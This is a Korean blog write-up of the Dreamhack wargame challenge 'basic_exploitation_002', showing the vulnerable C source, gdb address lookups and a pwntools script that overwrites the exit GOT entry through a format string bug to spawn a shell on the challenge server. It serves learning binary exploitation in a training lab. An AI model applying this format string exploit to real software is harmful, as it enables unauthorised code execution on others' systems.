basic_exploitation_002

2022. 7. 30. 21:48·Wargame/Dreamhack
728x90
반응형

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

32 bit format string bug 문제이다.

가장 쉬운 방법은 사실 pwntools에서 이를 지원해주기에 한방에 해결하는 방법.

offset과 덮어씌울 함수 주소, 실행할 함수 주소만 알면 된다.

본 문제에서는 exit 함수가 취약점 뒤에 실행되며, 쉘을 실행해주는 get_shell 함수가 있기에 아래와 같이 쉽게 해결할 수 있다.

우선 위에서 말한 3가지 값을 구해보면 아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ ./basic_exploitation_002 
AAAA%p%p%p%p%p%p%p            
AAAA0x414141410x702570250x702570250x702570250xa7025(nil)(nil)

┌──(kali㉿kali)-[~/Downloads]
└─$ gdb basic_exploitation_002
gef➤  p exit
$1 = {<text variable, no debug info>} 0x8048470 <exit@plt>
gef➤  x/i 0x8048470
   0x8048470 <exit@plt>:        jmp    *0x804a024
gef➤  x/i 0x804a024
   0x804a024 <exit@got.plt>:    jbe    0x8049faa
gef➤  q
gef➤  p get_shell
$1 = {<text variable, no debug info>} 0x8048609 <get_shell>

사실 이렇게 구할 필요도 없는게 pwntools의 ELF를 사용하면 된다.

from pwn import *

p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
exit_got=e.got['exit']
get_shell=e.symbols['get_shell']

pay = fmtstr_payload(1,{exit_got:get_shell})

p.send(pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python test.py
[+] Opening connection to host3.dreamhack.games on port 23563: Done
[*] '/home/kali/Downloads/basic_exploitation_002'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
       %9
       na'\xa0\x04$\xa0\x04%\xa0\x04/$ id
uid=1000(basic_exploitation_002) gid=1000(basic_exploitation_002) groups=1000(basic_exploitation_002)
$ cat flag
DH{----------#플래그는 삭제}[

이렇게 할 수 있는 이유는 format string bug는 공식에 의해서 풀 수 있기 때문이다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

uaf_overwrite  (0) 2022.08.01
basic_exploitation_003  (0) 2022.08.01
out_of_bound  (0) 2022.07.30
oneshot  (0) 2022.07.29
hook  (0) 2022.07.29
'Wargame/Dreamhack' 카테고리의 다른 글
  • uaf_overwrite
  • basic_exploitation_003
  • out_of_bound
  • oneshot
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    heap
    phoenix
    pwnable.kr
    x86
    dreamhack
    lob
    exploit education
    tcache
    CANARY
    root
    _IO_FILE
    Me
    cryptohack
    64bit
    libc
    docker
    RTL
    pwntools
    x64
    FSB
    vtable
    rop
    la ctf
    hackerschool
    Format String Bug
    32bit
    ROOT ME
    Buffer Overflow
    BOF
    root-me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
basic_exploitation_002
상단으로

티스토리툴바